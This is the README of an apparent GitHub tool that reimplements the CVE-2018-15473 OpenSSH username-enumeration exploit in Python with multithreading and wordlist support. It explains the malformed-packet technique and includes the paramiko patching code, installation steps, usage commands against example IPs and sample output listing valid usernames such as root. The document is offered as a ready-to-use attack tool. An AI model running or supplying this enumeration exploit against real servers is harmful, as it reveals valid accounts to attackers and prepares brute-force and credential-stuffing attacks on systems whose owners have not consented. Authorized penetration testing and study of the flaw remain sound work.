
A Python 3 reimplementation of the classic CVE-2018-15473 OpenSSH user enumeration exploit, extended with multi-threading, wordlist support, automatic vulnerability detection, and thread-safe exploit patching.
A Python 3 reimplementation of the classic CVE-2018-15473 OpenSSH user enumeration exploit, extended with multi-threading, wordlist support, automatic vulnerability detection, and thread-safe exploit patching.
CVE-2018-15473 is a user enumeration vulnerability affecting OpenSSH versions 2.3 through 7.7.
The vulnerability arises from a subtle difference in how the OpenSSH server responds to authentication attempts for valid vs invalid usernames. By crafting a malformed public-key authentication packet, an attacker can observe the server's behavior and determine whether a given username exists on the system — without needing to know the user's password.
This information can be a critical first step in a targeted brute-force or credential-stuffing attack.
| Detail | Value |
|---|---|
| CVE ID | CVE-2018-15473 |
| Affected Versions | OpenSSH 2.3 – 7.7 |
| CVSS Score | 5.3 (Medium) |
| Type | Information Disclosure / User Enumeration |
| Authentication Required | No |
OpenSSH's authentication flow normally works like this:
Client → MSG_SERVICE_REQUEST → Server
Client ← MSG_SERVICE_ACCEPT ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
The exploit abuses the MSG_SERVICE_ACCEPT stage. When the server sends back a MSG_SERVICE_ACCEPT, the client is supposed to append a boolean field to the subsequent MSG_USERAUTH_REQUEST packet. By patching paramiko's Message.add_boolean method to a no-op, the tool sends a malformed/truncated auth packet.
The OpenSSH server then behaves differently depending on whether the username exists:
MSG_USERAUTH_FAILURE immediately (username doesn't exist, no point checking the key)AuthenticationException (it tried to verify the key, confirming the user exists)This tool intercepts those two responses via patched paramiko handlers (_parse_userauth_failure and _parse_service_accept) and classifies each username accordingly.
The original PoC patches add_boolean permanently, which causes a race condition when multiple threads run simultaneously — threads interfere with each other's handshakes, producing false SSH negotiation failed errors. This reimplementation wraps the patch in a threading.Lock(), making the swap atomic:
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap to verify the target is running a vulnerable OpenSSH version before scanningparamikopython-nmapnmap (system binary, must be installed)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate
# Install dependencies
pip install paramiko python-nmap
Make sure nmap is installed on your system:
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
Check a single username:
python main.py 192.168.1.10 -u root
Enumerate a wordlist with default threads:
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
Enumerate with a custom thread count and port:
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
Sample output:
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
This tool is a Python 3 reimplementation and extension of the original proof-of-concept exploit. Full credit for discovering and documenting this vulnerability goes to the original researchers:
| Role | Name / Handle |
|---|---|
| Original PoC Author | Leap Security (@LeapSecurity) |
| Vulnerability Research | Matthew Daley |
| Vulnerability Research | Justin Gardner |
| Vulnerability Research | Lee David Painter |
Original exploit: https://leapsecurity.io
This reimplementation adds:
This tool is intended for educational purposes and authorized penetration testing only.
Using this tool against systems you do not own or have explicit written permission to test is illegal and unethical.
The author takes no responsibility for any misuse of this software.
Always practice responsible disclosure.